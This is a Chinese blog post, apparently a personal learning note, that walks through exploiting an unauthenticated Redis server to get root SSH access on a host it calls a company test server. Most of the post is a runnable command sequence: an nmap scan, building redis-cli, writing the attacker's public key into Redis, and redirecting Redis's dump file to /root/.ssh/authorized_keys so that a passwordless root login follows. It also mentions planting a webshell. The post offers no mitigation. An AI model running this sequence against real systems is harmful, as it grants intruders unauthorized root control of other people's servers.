redis未授权访问getshell

参考:https://blog.csdn.net/guxiaoguo/article/details/78913245

利用条件:linux,对方开启ssh

用到的工具:kail nmap redis

公司测试服务器:10.0.3.45

redis默认端口:6379

主要思路:利用redis未授权访问命令给root账户写入SSH公钥文件,然后通过SSH登录服务器

nmap扫描

使用命令:nmap -sV -p 1-65535 10.0.3.45

-sV 识别服务,很有用

-p 1-65535 全端口扫描

发现6379端口开启

若kail上没有redis,可以先利用wget下载下来,并解压,我这里用的是2.8.12

下载命令:wget http://download.redis.io/releases/redis-2.8.12.tar.gz

解压命令:tar -xzf redis-2.8.12.tar.gz

到所在目录中安装:make

完成安装后会提醒:

换到此目录中:cd /root/redis-2.8.12/src

连接

命令:./redis-cli -h 10.0.3.45

可以通过info查看一些信息。

接下来写入ssh公钥

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。

首先在自己的kail中生成一个key。

进入/root/.ssh目录:cd /root/.ssh

生成key命令:ssh-keygen -t rsa

查看生成的文件

将公钥导入key.txt文件中(前后用\n换行,目的是避免和redis里的其他数据混合,造成乱码),再把key.txt文件内容写入目标主机的缓冲里:

命令:(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

此时切换回redis的目录,将key.txt文件内容写入到目标主机的缓冲中

cd /root/redis-2.8.12/src

cat /root/.ssh/key.txt | ./redis-cli -h 10.0.3.45 -x set xxx

连接目标主机的redis,设置redis的备份路径为/root/.ssh和保存文件名authorized_keys

连接目标主机命令:./redis-cli -h 10.0.3.45

设置备份路径:config set dir /root/.ssh

保存文件名:config set dbfilename authorized_keys

可以看到写入的公钥

get xxx

然后将数据保存在服务器硬盘中并退出

save

exit

此时用ssh远程连接:

命令:ssh 10.0.3.45

可以看到已经不用密码就可以远程登录了(在没有经过这些操作前,进入ssh是需要输入password的)

可以进入/root/.ssh目录,简单看一下authorized_keys的文件内容

还可以在web目录中写入webshell 连接菜刀(具体还没做,以后可以试试)

猜你喜欢

转载自blog.csdn.net/Jiajiajiang_/article/details/81368212